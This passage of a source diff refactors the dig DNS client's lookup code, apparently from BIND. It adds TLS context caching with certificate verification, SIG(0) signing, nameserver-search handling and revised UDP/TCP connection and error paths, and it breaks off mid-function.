@@ -1878,7 +1925,8 @@ followup_lookup(dns_message_t *msg, dig_query_t *query, dns_section_t section) {
 				cancel_lookup(query->lookup);
 				lookup->doing_xfr = false;
 				if (!lookup->trace_root &&
-				    section == DNS_SECTION_ANSWER) {
+				    section == DNS_SECTION_ANSWER)
+				{
 					lookup->trace = false;
 				} else {
 					lookup->trace = query->lookup->trace;
@@ -1981,7 +2029,7 @@ next_origin(dig_lookup_t *oldlookup) {
 	 * Check for a absolute name or ndots being met.
 	 */
 	name = dns_fixedname_initname(&fixed);
-	result = dns_name_fromstring2(name, oldlookup->textname, NULL, 0, NULL);
+	result = dns_name_fromstring(name, oldlookup->textname, NULL, 0, NULL);
 	if (result == ISC_R_SUCCESS &&
 	    (dns_name_isabsolute(name) ||
 	     (int)dns_name_countlabels(name) > ndots))
@@ -2043,18 +2091,15 @@ insert_soa(dig_lookup_t *lookup) {
 	isc_buffer_init(&lookup->rdatabuf, lookup->rdatastore,
 			sizeof(lookup->rdatastore));
 
-	result = dns_message_gettemprdata(lookup->sendmsg, &rdata);
-	check_result(result, "dns_message_gettemprdata");
+	dns_message_gettemprdata(lookup->sendmsg, &rdata);
 
 	result = dns_rdata_fromstruct(rdata, lookup->rdclass, dns_rdatatype_soa,
 				      &soa, &lookup->rdatabuf);
 	check_result(result, "isc_rdata_fromstruct");
 
-	result = dns_message_gettemprdatalist(lookup->sendmsg, &rdatalist);
-	check_result(result, "dns_message_gettemprdatalist");
+	dns_message_gettemprdatalist(lookup->sendmsg, &rdatalist);
 
-	result = dns_message_gettemprdataset(lookup->sendmsg, &rdataset);
-	check_result(result, "dns_message_gettemprdataset");
+	dns_message_gettemprdataset(lookup->sendmsg, &rdataset);
 
 	dns_rdatalist_init(rdatalist);
 	rdatalist->type = dns_rdatatype_soa;
@@ -2063,8 +2108,7 @@ insert_soa(dig_lookup_t *lookup) {
 
 	dns_rdatalist_tordataset(rdatalist, rdataset);
 
-	result = dns_message_gettempname(lookup->sendmsg, &soaname);
-	check_result(result, "dns_message_gettempname");
+	dns_message_gettempname(lookup->sendmsg, &soaname);
 	dns_name_clone(lookup->name, soaname);
 	ISC_LIST_INIT(soaname->list);
 	ISC_LIST_APPEND(soaname->list, rdataset, link);
@@ -2090,10 +2134,9 @@ _new_query(dig_lookup_t *lookup, char *servname, char *userarg,
 	*query = (dig_query_t){ .sendbuf = lookup->renderbuf,
 				.servname = servname,
 				.userarg = userarg,
-				.first_pass = true,
 				.warn_id = true,
-				.recvspace = isc_mempool_get(commctx),
-				.tmpsendspace = isc_mempool_get(commctx) };
+				.recvspace = isc_mem_get(mctx, COMMSIZE),
+				.tmpsendspace = isc_mem_get(mctx, COMMSIZE) };
 
 	lookup_attach(lookup, &query->lookup);
 
@@ -2160,8 +2203,7 @@ setup_lookup(dig_lookup_t *lookup) {
 		debug("cloning server list");
 		clone_server_list(server_list, &lookup->my_server_list);
 	}
-	result = dns_message_gettempname(lookup->sendmsg, &lookup->name);
-	check_result(result, "dns_message_gettempname");
+	dns_message_gettempname(lookup->sendmsg, &lookup->name);
 
 	isc_buffer_init(&lookup->namebuf, lookup->name_space,
 			sizeof(lookup->name_space));
@@ -2176,7 +2218,7 @@ setup_lookup(dig_lookup_t *lookup) {
 	textname = lookup->textname;
 #ifdef HAVE_LIBIDN2
 	if (lookup->idnin) {
-		idn_locale_to_ace(textname, idn_textname, sizeof(idn_textname));
+		idn_input(textname, idn_textname, sizeof(idn_textname));
 		debug("idn_textname: %s", idn_textname);
 		textname = idn_textname;
 	}
@@ -2202,15 +2244,12 @@ setup_lookup(dig_lookup_t *lookup) {
 
 	if (lookup->origin != NULL) {
 		debug("trying origin %s", lookup->origin->origin);
-		result = dns_message_gettempname(lookup->sendmsg,
-						 &lookup->oname);
-		check_result(result, "dns_message_gettempname");
+		dns_message_gettempname(lookup->sendmsg, &lookup->oname);
 		/* XXX Helper funct to conv char* to name? */
 		origin = lookup->origin->origin;
 #ifdef HAVE_LIBIDN2
 		if (lookup->idnin) {
-			idn_locale_to_ace(origin, idn_origin,
-					  sizeof(idn_origin));
+			idn_input(origin, idn_origin, sizeof(idn_origin));
 			debug("trying idn origin %s", idn_origin);
 			origin = idn_origin;
 		}
@@ -2272,18 +2311,20 @@ setup_lookup(dig_lookup_t *lookup) {
 			result = dns_name_fromtext(lookup->name, &b,
 						   dns_rootname, 0,
 						   &lookup->namebuf);
-		}
-		if (result != ISC_R_SUCCESS) {
-			dns_message_puttempname(lookup->sendmsg, &lookup->name);
-			warn("'%s' is not a legal name "
-			     "(%s)",
-			     lookup->textname, isc_result_totext(result));
+			if (result != ISC_R_SUCCESS) {
+				dns_message_puttempname(lookup->sendmsg,
+							&lookup->name);
+				warn("'%s' is not a legal name (%s)",
+				     lookup->textname,
+				     isc_result_totext(result));
 #if TARGET_OS_IPHONE
-			clear_current_lookup();
-			return (false);
+				clear_current_lookup();
+				return (false);
 #else  /* if TARGET_OS_IPHONE */
-			digexit();
+				cleanup_openssl_refs();
+				digexit();
 #endif /* if TARGET_OS_IPHONE */
+			}
 		}
 	}
 	dns_name_format(lookup->name, store, sizeof(store));
@@ -2384,15 +2425,20 @@ setup_lookup(dig_lookup_t *lookup) {
 		debug("initializing keys");
 		result = dns_message_settsigkey(lookup->sendmsg, tsigkey);
 		check_result(result, "dns_message_settsigkey");
+	} else if (sig0key != NULL) {
+		debug("initializing keys");
+		result = dns_message_setsig0key(lookup->sendmsg, sig0key);
+		check_result(result, "dns_message_setsig0key");
 	}
 
-	lookup->sendspace = isc_mempool_get(commctx);
-	if (lookup->sendspace == NULL) {
-		fatal("memory allocation failure");
+	if (lookup->fuzzing) {
+		lookup->sendmsg->fuzzing = true;
+		lookup->sendmsg->fuzztime = lookup->fuzztime;
 	}
 
-	result = dns_compress_init(&cctx, -1, mctx);
-	check_result(result, "dns_compress_init");
+	lookup->sendspace = isc_mem_get(mctx, COMMSIZE);
+
+	dns_compress_init(&cctx, mctx, 0);
 
 	debug("starting to render the message");
 	isc_buffer_init(&lookup->renderbuf, lookup->sendspace, COMMSIZE);
@@ -2486,8 +2532,7 @@ setup_lookup(dig_lookup_t *lookup) {
 				memmove(addr, &sin6->sin6_addr, addrl);
 				break;
 			default:
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 
 			isc_buffer_init(&b, ecsbuf, sizeof(ecsbuf));
@@ -2505,7 +2550,8 @@ setup_lookup(dig_lookup_t *lookup) {
 					addr[addrl - 1] &= ~0U
 							   << (8 - (plen % 8));
 				}
-				isc_buffer_putmem(&b, addr, (unsigned)addrl);
+				isc_buffer_putmem(&b, addr,
+						  (unsigned int)addrl);
 			}
 
 			opts[i].value = (uint8_t *)ecsbuf;
@@ -2609,6 +2655,54 @@ setup_lookup(dig_lookup_t *lookup) {
 	return (true);
 }
 
+/*%
+ * NSSEARCH mode special mode handling function to start the next query in the
+ * list. The lookup lock must be held by the caller. The function will detach
+ * both the lookup and the query, and may cancel the lookup and clear the
+ * current lookup.
+ */
+static void
+nssearch_next(dig_lookup_t *l, dig_query_t *q) {
+	dig_query_t *next = ISC_LIST_NEXT(q, link);
+	bool tcp_mode = l->tcp_mode;
+
+	INSIST(l->ns_search_only && !l->trace_root);
+	INSIST(l == current_lookup);
+
+	if (next == NULL) {
+		/*
+		 * If this is the last query, and if there was
+		 * not a single successful query in the whole
+		 * lookup, then treat the situation as an error,
+		 * cancel and clear the lookup.
+		 */
+		if (check_if_queries_done(l, q) && !l->ns_search_success) {
+			dighost_error("NS servers could not be reached");
+			if (exitcode < 9) {
+				exitcode = 9;
+			}
+
+			cancel_lookup(l);
+			query_detach(&q);
+			lookup_detach(&l);
+			clear_current_lookup();
+		} else {
+			query_detach(&q);
+			lookup_detach(&l);
+		}
+	} else {
+		query_detach(&q);
+		lookup_detach(&l);
+
+		debug("sending next, since searching");
+		if (tcp_mode) {
+			start_tcp(next);
+		} else {
+			start_udp(next);
+		}
+	}
+}
+
 /*%
  * Event handler for send completion.  Track send counter, and clear out
  * the query if the send was canceled.
@@ -2616,7 +2710,6 @@ setup_lookup(dig_lookup_t *lookup) {
 static void
 send_done(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 	dig_query_t *query = (dig_query_t *)arg;
-	dig_query_t *next = NULL;
 	dig_lookup_t *l = NULL;
 
 	REQUIRE(DIG_VALID_QUERY(query));
@@ -2630,44 +2723,30 @@ send_done(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 
 	INSIST(!free_now);
 
-	LOCK_LOOKUP;
-
 	isc_nmhandle_detach(&query->sendhandle);
 
-	if (eresult != ISC_R_SUCCESS) {
-		if (eresult != ISC_R_CANCELED) {
-			debug("send failed: %s", isc_result_totext(eresult));
+	lookup_attach(query->lookup, &l);
+
+	if (eresult == ISC_R_CANCELED || query->canceled) {
+		debug("send_done: cancel");
+		if (!query->canceled) {
+			cancel_lookup(l);
 		}
 		query_detach(&query);
-
-		UNLOCK_LOOKUP;
+		lookup_detach(&l);
 		return;
+	} else if (eresult != ISC_R_SUCCESS) {
+		debug("send failed: %s", isc_result_totext(eresult));
 	}
 
-	lookup_attach(query->lookup, &l);
-	if (l->ns_search_only && !l->trace_root && !l->tcp_mode) {
-		debug("sending next, since searching");
-		next = ISC_LIST_NEXT(query, link);
-
+	if (l->ns_search_only && !l->trace_root) {
+		nssearch_next(l, query);
+	} else {
 		query_detach(&query);
 		lookup_detach(&l);
-
-		if (next == NULL) {
-			clear_current_lookup();
-		} else {
-			start_udp(next);
-		}
-
-		check_if_done();
-		UNLOCK_LOOKUP;
-		return;
 	}
 
-	query_detach(&query);
-	lookup_detach(&l);
-
 	check_if_done();
-	UNLOCK_LOOKUP;
 }
 
 /*%
@@ -2684,6 +2763,14 @@ _cancel_lookup(dig_lookup_t *lookup, const char *file, unsigned int line) {
 		REQUIRE(DIG_VALID_QUERY(query));
 		next = ISC_LIST_NEXT(query, link);
 		ISC_LIST_DEQUEUE(lookup->q, query, link);
+		debug("canceling pending query %p, belonging to %p", query,
+		      query->lookup);
+		query->canceled = true;
+		if (query->readhandle != NULL &&
+		    !isc_nm_is_http_handle(query->readhandle))
+		{
+			isc_nm_cancelread(query->readhandle);
+		}
 		query_detach(&query);
 		query = next;
 	}
@@ -2692,6 +2779,130 @@ _cancel_lookup(dig_lookup_t *lookup, const char *file, unsigned int line) {
 	check_if_done();
 }
 
+static isc_tlsctx_t *
+get_create_tls_context(dig_query_t *query, const bool is_https,
+		       isc_tlsctx_client_session_cache_t **psess_cache) {
+	isc_result_t result;
+	isc_tlsctx_t *ctx = NULL, *found_ctx = NULL;
+	isc_tls_cert_store_t *store = NULL, *found_store = NULL;
+	char tlsctxname[ISC_SOCKADDR_FORMATSIZE];
+	const uint16_t family = isc_sockaddr_pf(&query->sockaddr) == PF_INET6
+					? AF_INET6
+					: AF_INET;
+	isc_tlsctx_cache_transport_t transport =
+		is_https ? isc_tlsctx_cache_https : isc_tlsctx_cache_tls;
+	const bool hostname_ignore_subject = !is_https;
+	isc_tlsctx_client_session_cache_t *sess_cache = NULL,
+					  *found_sess_cache = NULL;
+
+	if (query->lookup->tls_key_file_set != query->lookup->tls_cert_file_set)
+	{
+		return (NULL);
+	}
+
+	isc_sockaddr_format(&query->sockaddr, tlsctxname, sizeof(tlsctxname));
+
+	result = isc_tlsctx_cache_find(query->lookup->tls_ctx_cache, tlsctxname,
+				       transport, family, &found_ctx,
+				       &found_store, &found_sess_cache);
+	if (result != ISC_R_SUCCESS) {
+		if (query->lookup->tls_ca_set) {
+			if (found_store == NULL) {
+				result = isc_tls_cert_store_create(
+					query->lookup->tls_ca_file, &store);
+
+				if (result != ISC_R_SUCCESS) {
+					goto failure;
+				}
+			} else {
+				store = found_store;
+			}
+		}
+
+		result = isc_tlsctx_createclient(&ctx);
+		if (result != ISC_R_SUCCESS) {
+			goto failure;
+		}
+
+		if (store != NULL) {
+			const char *hostname =
+				query->lookup->tls_hostname_set
+					? query->lookup->tls_hostname
+					: query->userarg;
+			/*
+			 * According to RFC 8310, Subject field MUST NOT be
+			 * inspected when verifying hostname for DoT. Only
+			 * SubjectAltName must be checked. That is NOT the case
+			 * for HTTPS.
+			 */
+			result = isc_tlsctx_enable_peer_verification(
+				ctx, false, store, hostname,
+				hostname_ignore_subject);
+			if (result != ISC_R_SUCCESS) {
+				goto failure;
+			}
+		}
+
+		if (query->lookup->tls_key_file_set &&
+		    query->lookup->tls_cert_file_set)
+		{
+			result = isc_tlsctx_load_certificate(
+				ctx, query->lookup->tls_key_file,
+				query->lookup->tls_cert_file);
+			if (result != ISC_R_SUCCESS) {
+				goto failure;
+			}
+		}
+
+		if (!is_https) {
+			isc_tlsctx_enable_dot_client_alpn(ctx);
+		}
+
+#if HAVE_LIBNGHTTP2
+		if (is_https) {
+			isc_tlsctx_enable_http2client_alpn(ctx);
+		}
+#endif /* HAVE_LIBNGHTTP2 */
+
+		isc_tlsctx_client_session_cache_create(
+			mctx, ctx, ISC_TLSCTX_CLIENT_SESSION_CACHE_DEFAULT_SIZE,
+			&sess_cache);
+
+		result = isc_tlsctx_cache_add(
+			query->lookup->tls_ctx_cache, tlsctxname, transport,
+			family, ctx, store, sess_cache, NULL, NULL, NULL);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		if (psess_cache != NULL) {
+			INSIST(*psess_cache == NULL);
+			*psess_cache = sess_cache;
+		}
+		return (ctx);
+	}
+
+	if (psess_cache != NULL) {
+		INSIST(*psess_cache == NULL);
+		*psess_cache = found_sess_cache;
+	}
+
+	INSIST(!query->lookup->tls_ca_set || found_store != NULL);
+	return (found_ctx);
+failure:
+	if (ctx != NULL) {
+		isc_tlsctx_free(&ctx);
+	}
+	/*
+	 * The 'found_store' is being managed by the TLS context
+	 * cache. Thus, we should keep it as it is, as it will get
+	 * destroyed alongside the cache. As there is one store per
+	 * multiple TLS contexts, we need to handle store deletion in a
+	 * special way.
+	 */
+	if (store != NULL && store != found_store) {
+		isc_tls_cert_store_free(&store);
+	}
+	return (NULL);
+}
+
 static void
 tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg);
 
@@ -2703,22 +2914,31 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg);
 static void
 start_tcp(dig_query_t *query) {
 	isc_result_t result;
-	dig_query_t *next;
+	dig_query_t *next = NULL;
+	dig_query_t *connectquery = NULL;
+	isc_tlsctx_t *tlsctx = NULL;
+	bool tls_mode = false;
+	isc_tlsctx_client_session_cache_t *sess_cache = NULL;
+	int local_timeout;
+
 	REQUIRE(DIG_VALID_QUERY(query));
 
 	debug("start_tcp(%p)", query);
 
 	query_attach(query, &query->lookup->current_query);
 
+	tls_mode = dig_lookup_is_tls(query->lookup);
+
 	/*
 	 * For TLS connections, we want to override the default
 	 * port number.
 	 */
 	if (!port_set) {
-		if (query->lookup->tls_mode) {
+		if (tls_mode) {
 			port = 853;
 		} else if (query->lookup->https_mode &&
-			   !query->lookup->http_plain) {
+			   !query->lookup->http_plain)
+		{
 			port = 443;
 		} else if (query->lookup->https_mode) {
 			port = 80;
@@ -2740,8 +2960,7 @@ start_tcp(dig_query_t *query) {
 		return;
 	}
 
-	if (!query->lookup->mapped &&
-	    isc_sockaddr_pf(&query->sockaddr) == AF_INET6 &&
+	if (isc_sockaddr_pf(&query->sockaddr) == AF_INET6 &&
 	    IN6_IS_ADDR_V4MAPPED(&query->sockaddr.type.sin6.sin6_addr))
 	{
 		isc_netaddr_t netaddr;
@@ -2773,77 +2992,88 @@ start_tcp(dig_query_t *query) {
 		launch_next_query(query);
 		query_detach(&query);
 		return;
+	} else if (keep != NULL) {
+		isc_nmhandle_detach(&keep);
+	}
+
+	if (timeout != 0) {
+		local_timeout = timeout * 1000;
 	} else {
-		int local_timeout = timeout * 1000;
-		if (local_timeout == 0) {
-			local_timeout = TCP_TIMEOUT * 1000;
-		}
+		local_timeout = TCP_TIMEOUT * 1000;
+	}
 
-		if (keep != NULL) {
-			isc_nmhandle_detach(&keep);
+	if (!specified_source) {
+		if ((isc_sockaddr_pf(&query->sockaddr) == AF_INET) && have_ipv4)
+		{
+			isc_sockaddr_any(&localaddr);
+		} else {
+			isc_sockaddr_any6(&localaddr);
 		}
+	}
 
-		if (!specified_source) {
-			if ((isc_sockaddr_pf(&query->sockaddr) == AF_INET) &&
-			    have_ipv4) {
-				isc_sockaddr_any(&localaddr);
-			} else {
-				isc_sockaddr_any6(&localaddr);
-			}
-		}
+	REQUIRE(query != NULL);
 
-		REQUIRE(query != NULL);
+	query_attach(query, &connectquery);
 
-		if (query->lookup->tls_mode) {
-			result = isc_tlsctx_createclient(&query->tlsctx);
-			RUNTIME_CHECK(result == ISC_R_SUCCESS);
-			isc_nm_tlsdnsconnect(netmgr, &localaddr,
-					     &query->sockaddr, tcp_connected,
-					     query, local_timeout, 0,
-					     query->tlsctx);
-		} else if (query->lookup->https_mode) {
-			// OQS updated from 4096 to 8192
-			char uri[8192] = { 0 };
-			snprintf(uri, sizeof(uri), "https://%s:%u%s",
-				 query->userarg, (uint16_t)port,
-				 query->lookup->https_path);
-
-			if (!query->lookup->http_plain) {
-				result =
-					isc_tlsctx_createclient(&query->tlsctx);
-				RUNTIME_CHECK(result == ISC_R_SUCCESS);
-				isc_tlsctx_enable_http2client_alpn(
-					query->tlsctx);
+	if (tls_mode) {
+		tlsctx = get_create_tls_context(connectquery, false,
+						&sess_cache);
+		if (tlsctx == NULL) {
+			goto failure_tls;
+		}
+		isc_nm_streamdnsconnect(netmgr, &localaddr, &query->sockaddr,
+					tcp_connected, connectquery,
+					local_timeout, tlsctx, sess_cache);
+#if HAVE_LIBNGHTTP2
+	} else if (query->lookup->https_mode) {
+		char uri[4096] = { 0 };
+		isc_nm_http_makeuri(!query->lookup->http_plain,
+				    &query->sockaddr, query->userarg, port,
+				    query->lookup->https_path, uri,
+				    sizeof(uri));
+
+		if (!query->lookup->http_plain) {
+			tlsctx = get_create_tls_context(connectquery, true,
+							&sess_cache);
+			if (tlsctx == NULL) {
+				goto failure_tls;
 			}
-
-			isc_nm_httpconnect(netmgr, &localaddr, &query->sockaddr,
-					   uri, !query->lookup->https_get,
-					   tcp_connected, query, query->tlsctx,
-					   local_timeout, 0);
-		} else {
-			isc_nm_tcpdnsconnect(netmgr, &localaddr,
-					     &query->sockaddr, tcp_connected,
-					     query, local_timeout, 0);
 		}
 
-		/* XXX: set DSCP */
+		isc_nm_httpconnect(netmgr, &localaddr, &query->sockaddr, uri,
+				   !query->lookup->https_get, tcp_connected,
+				   connectquery, tlsctx, sess_cache,
+				   local_timeout);
+#endif
+	} else {
+		isc_nm_streamdnsconnect(netmgr, &localaddr, &query->sockaddr,
+					tcp_connected, connectquery,
+					local_timeout, NULL, NULL);
 	}
 
-	/*
-	 * If we're at the endgame of a nameserver search, we need to
-	 * immediately bring up all the queries.  Do it here.
-	 */
-	if (query->lookup->ns_search_only && !query->lookup->trace_root) {
-		debug("sending next, since searching");
-		if (ISC_LINK_LINKED(query, link)) {
-			next = ISC_LIST_NEXT(query, link);
-			ISC_LIST_DEQUEUE(query->lookup->q, query, link);
-		} else {
-			next = NULL;
-		}
-		if (next != NULL) {
-			start_tcp(next);
-		}
+	return;
+
+failure_tls:
+	if (query->lookup->tls_key_file_set != query->lookup->tls_cert_file_set)
+	{
+		dighost_warning(
+			"both TLS client certificate and key file must be "
+			"specified a the same time");
+	} else {
+		dighost_warning("TLS context cannot be created");
+	}
+
+	if (ISC_LINK_LINKED(query, link)) {
+		next = ISC_LIST_NEXT(query, link);
+	} else {
+		next = NULL;
+	}
+	query_detach(&connectquery);
+	query_detach(&query);
+	if (next == NULL) {
+		clear_current_lookup();
+	} else {
+		start_tcp(next);
 	}
 }
 
@@ -2865,9 +3095,9 @@ send_udp(dig_query_t *query) {
 	isc_buffer_usedregion(&query->sendbuf, &r);
 	debug("sending a request");
 	if (query->lookup->use_usec) {
-		TIME_NOW_HIRES(&query->time_sent);
+		query->time_sent = isc_time_now_hires();
 	} else {
-		TIME_NOW(&query->time_sent);
+		query->time_sent = isc_time_now();
 	}
 
 	isc_nmhandle_attach(query->handle, &query->sendhandle);
@@ -2877,10 +3107,9 @@ send_udp(dig_query_t *query) {
 	debug("sendcount=%" PRIuFAST32, isc_refcount_current(&sendcount));
 
 	/* XXX qrflag, print_query, etc... */
-	if (!ISC_LIST_EMPTY(query->lookup->q) && query->lookup->qr) {
+	if (query->lookup->qr) {
 		extrabytes = 0;
-		dighost_printmessage(ISC_LIST_HEAD(query->lookup->q),
-				     &query->lookup->renderbuf,
+		dighost_printmessage(query, &query->lookup->renderbuf,
 				     query->lookup->sendmsg, true);
 		if (query->lookup->stats) {
 			print_query_size(query);
@@ -2891,30 +3120,102 @@ send_udp(dig_query_t *query) {
 static void
 udp_ready(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 	dig_query_t *query = (dig_query_t *)arg;
+	dig_query_t *next = NULL;
+	char sockstr[ISC_SOCKADDR_FORMATSIZE];
+	dig_lookup_t *l = NULL;
 	dig_query_t *readquery = NULL;
 	int local_timeout = timeout * 1000;
 
-	if (eresult == ISC_R_CANCELED) {
-		query_detach(&query);
+	REQUIRE(DIG_VALID_QUERY(query));
+	REQUIRE(query->handle == NULL);
+
+	debug("udp_ready()");
+
+	query->started = true;
+
+	if (cancel_now) {
+		query_detach(&query);
 		return;
-	} else if (eresult != ISC_R_SUCCESS) {
-		dig_lookup_t *l = query->lookup;
+	}
 
-		if (eresult != ISC_R_CANCELED) {
-			debug("udp setup failed: %s",
-			      isc_result_totext(eresult));
-		}
+	INSIST(!free_now);
 
-		cancel_lookup(l);
+	debug("udp_ready(%p, %s, %p)", handle, isc_result_totext(eresult),
+	      query);
+
+	lookup_attach(query->lookup, &l);
+
+	if (eresult == ISC_R_CANCELED || query->canceled) {
+		debug("in cancel handler");
+		if (!query->canceled) {
+			cancel_lookup(l);
+		}
+		query_detach(&query);
 		lookup_detach(&l);
+		clear_current_lookup();
+		return;
+	}
+
+	if (eresult != ISC_R_SUCCESS) {
+		debug("udp setup failed: %s", isc_result_totext(eresult));
+		isc_sockaddr_format(&query->sockaddr, sockstr, sizeof(sockstr));
+		dighost_warning("UDP setup with %s(%s) for %s failed: %s.",
+				sockstr, query->servname, l->textname,
+				isc_result_totext(eresult));
+
+		/*
+		 * NSSEARCH mode: if the current query failed to start properly,
+		 * then send_done() will not be called, and we want to make sure
+		 * that the next query gets a chance to start in order to not
+		 * break the chain.
+		 */
+		if (l->ns_search_only && !l->trace_root) {
+			nssearch_next(l, query);
+
+			check_if_done();
+			return;
+		}
+
+		if (exitcode < 9) {
+			exitcode = 9;
+		}
+
+		if (l->retries > 1) {
+			l->retries--;
+			debug("making new UDP request, %d tries left",
+			      l->retries);
+			requeue_lookup(l, true);
+			next = NULL;
+		} else if ((l->current_query != NULL) &&
+			   (ISC_LINK_LINKED(l->current_query, link)))
+		{
+			next = ISC_LIST_NEXT(l->current_query, link);
+		} else {
+			next = NULL;
+		}
+
 		query_detach(&query);
+		if (next == NULL) {
+			cancel_lookup(l);
+		}
+		lookup_detach(&l);
+
+		if (next != NULL) {
+			start_udp(next);
+			check_if_done();
+		} else {
+			clear_current_lookup();
+		}
+
 		return;
 	}
 
+	exitcode = 0;
+
 	query_attach(query, &readquery);
 
 	debug("recving with lookup=%p, query=%p, handle=%p", query->lookup,
-	      query, query->handle);
+	      query, handle);
 
 	query->handle = handle;
 	isc_nmhandle_attach(handle, &query->readhandle);
@@ -2932,6 +3233,7 @@ udp_ready(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 	send_udp(readquery);
 
 	query_detach(&query);
+	lookup_detach(&l);
 }
 
 /*%
@@ -2965,8 +3267,7 @@ start_udp(dig_query_t *query) {
 		return;
 	}
 
-	if (!query->lookup->mapped &&
-	    isc_sockaddr_pf(&query->sockaddr) == AF_INET6 &&
+	if (isc_sockaddr_pf(&query->sockaddr) == AF_INET6 &&
 	    IN6_IS_ADDR_V4MAPPED(&query->sockaddr.type.sin6.sin6_addr))
 	{
 		isc_netaddr_t netaddr;
@@ -2998,7 +3299,7 @@ start_udp(dig_query_t *query) {
 	query_attach(query, &connectquery);
 	isc_nm_udpconnect(netmgr, &localaddr, &query->sockaddr, udp_ready,
 			  connectquery,
-			  (timeout ? timeout : UDP_TIMEOUT) * 1000, 0);
+			  (timeout ? timeout : UDP_TIMEOUT) * 1000);
 }
 
 /*%
@@ -3039,11 +3340,9 @@ force_next(dig_query_t *query) {
 
 	debug("force_next()");
 
-	LOCK_LOOKUP;
 	INSIST(!free_now);
 
-	if (atomic_load(&cancel_now)) {
-		UNLOCK_LOOKUP;
+	if (cancel_now) {
 		return;
 	}
 
@@ -3051,13 +3350,13 @@ force_next(dig_query_t *query) {
 
 	if (try_next_server(l)) {
 		lookup_detach(&l);
-		UNLOCK_LOOKUP;
 		return;
 	}
 
 	if (l->retries > 1) {
 		l->retries--;
-		debug("making new TCP request, %d tries left", l->retries);
+		debug("making new %s request, %d tries left",
+		      l->tcp_mode ? "TCP" : "UDP", l->retries);
 		requeue_lookup(l, true);
 		lookup_detach(&l);
 		isc_refcount_decrement0(&recvcount);
@@ -3065,7 +3364,6 @@ force_next(dig_query_t *query) {
 		      isc_refcount_current(&recvcount));
 		query_detach(&query);
 		clear_current_lookup();
-		UNLOCK_LOOKUP;
 		return;
 	}
 
@@ -3085,8 +3383,7 @@ force_next(dig_query_t *query) {
 		dighost_error("no response from %s\n", buf);
 	} else {
 		printf("%s", l->cmdline);
-		dighost_error("connection timed out; "
-			      "no servers could be reached\n");
+		dighost_error("no servers could be reached\n");
 	}
 
 	if (exitcode < 9) {
@@ -3097,29 +3394,6 @@ force_next(dig_query_t *query) {
 	cancel_lookup(l);
 	lookup_detach(&l);
 	clear_current_lookup();
-	UNLOCK_LOOKUP;
-}
-
-/*%
- * Called when a peer closes a TCP socket prematurely.
- */
-static void
-requeue_or_update_exitcode(dig_lookup_t *lookup) {
-	if (lookup->eoferr == 0U && lookup->retries > 1) {
-		--lookup->retries;
-		/*
-		 * Peer closed the connection prematurely for the first time
-		 * for this lookup.  Try again, keeping track of this failure.
-		 */
-		dig_lookup_t *requeued_lookup = requeue_lookup(lookup, true);
-		requeued_lookup->eoferr++;
-	} else {
-		/*
-		 * Peer closed the connection prematurely and it happened
-		 * previously for this lookup.  Indicate an error.
-		 */
-		exitcode = 9;
-	}
 }
 
 /*%
@@ -3132,6 +3406,7 @@ launch_next_query(dig_query_t *query) {
 	int local_timeout = timeout * 1000;
 	dig_lookup_t *l = NULL;
 	isc_region_t r;
+	bool xfr;
 
 	REQUIRE(DIG_VALID_QUERY(query));
 	INSIST(!free_now);
@@ -3159,16 +3434,37 @@ launch_next_query(dig_query_t *query) {
 	debug("have local timeout of %d", local_timeout);
 	isc_nmhandle_settimeout(query->handle, local_timeout);
 
+	xfr = query->lookup->rdtype == dns_rdatatype_ixfr ||
+	      query->lookup->rdtype == dns_rdatatype_axfr;
+	if (xfr &&
+	    isc_nm_socket_type(query->handle) == isc_nm_streamdnssocket &&
+	    query->lookup->tls_mode)
+	{
+		isc_result_t result = isc_nm_xfr_checkperm(query->handle);
+		if (result != ISC_R_SUCCESS) {
+			dighost_error("zone transfers over the established TLS "
+				      "connection are not allowed: %s",
+				      isc_result_totext(result));
+			isc_refcount_decrement0(&recvcount);
+			isc_nmhandle_detach(&query->readhandle);
+			cancel_lookup(l);
+			lookup_detach(&l);
+			clear_current_lookup();
+			return;
+		}
+	}
+
 	query_attach(query, &readquery);
+
 	isc_nm_read(query->handle, recv_done, readquery);
 
 	if (!query->first_soa_rcvd) {
 		dig_query_t *sendquery = NULL;
 		debug("sending a request in launch_next_query");
 		if (query->lookup->use_usec) {
-			TIME_NOW_HIRES(&query->time_sent);
+			query->time_sent = isc_time_now_hires();
 		} else {
-			TIME_NOW(&query->time_sent);
+			query->time_sent = isc_time_now();
 		}
 
 		query_attach(query, &sendquery);
@@ -3184,10 +3480,10 @@ launch_next_query(dig_query_t *query) {
 		      isc_refcount_current(&sendcount));
 
 		/* XXX qrflag, print_query, etc... */
-		if (!ISC_LIST_EMPTY(l->q) && l->qr) {
+		if (l->qr) {
 			extrabytes = 0;
-			dighost_printmessage(ISC_LIST_HEAD(l->q), &l->renderbuf,
-					     l->sendmsg, true);
+			dighost_printmessage(query, &l->renderbuf, l->sendmsg,
+					     true);
 			if (l->stats) {
 				print_query_size(query);
 			}
@@ -3210,43 +3506,70 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 	char sockstr[ISC_SOCKADDR_FORMATSIZE];
 	dig_lookup_t *l = NULL;
 
+	REQUIRE(DIG_VALID_QUERY(query));
+	REQUIRE(query->handle == NULL);
+
 	debug("tcp_connected()");
 
-	if (atomic_load(&cancel_now)) {
+	query->started = true;
+
+	if (cancel_now) {
+		query_detach(&query);
 		return;
 	}
 
-	REQUIRE(DIG_VALID_QUERY(query));
-	REQUIRE(query->handle == NULL);
 	INSIST(!free_now);
 
 	debug("tcp_connected(%p, %s, %p)", handle, isc_result_totext(eresult),
 	      query);
 
-	LOCK_LOOKUP;
 	lookup_attach(query->lookup, &l);
 
-	if (query->tlsctx != NULL) {
-		isc_tlsctx_free(&query->tlsctx);
-	}
-
-	if (eresult == ISC_R_CANCELED) {
+	if (eresult == ISC_R_CANCELED || eresult == ISC_R_TLSBADPEERCERT ||
+	    query->canceled)
+	{
 		debug("in cancel handler");
 		isc_sockaddr_format(&query->sockaddr, sockstr, sizeof(sockstr));
+		if (eresult == ISC_R_TLSBADPEERCERT) {
+			dighost_warning(
+				"TLS peer certificate verification for "
+				"%s failed: %s",
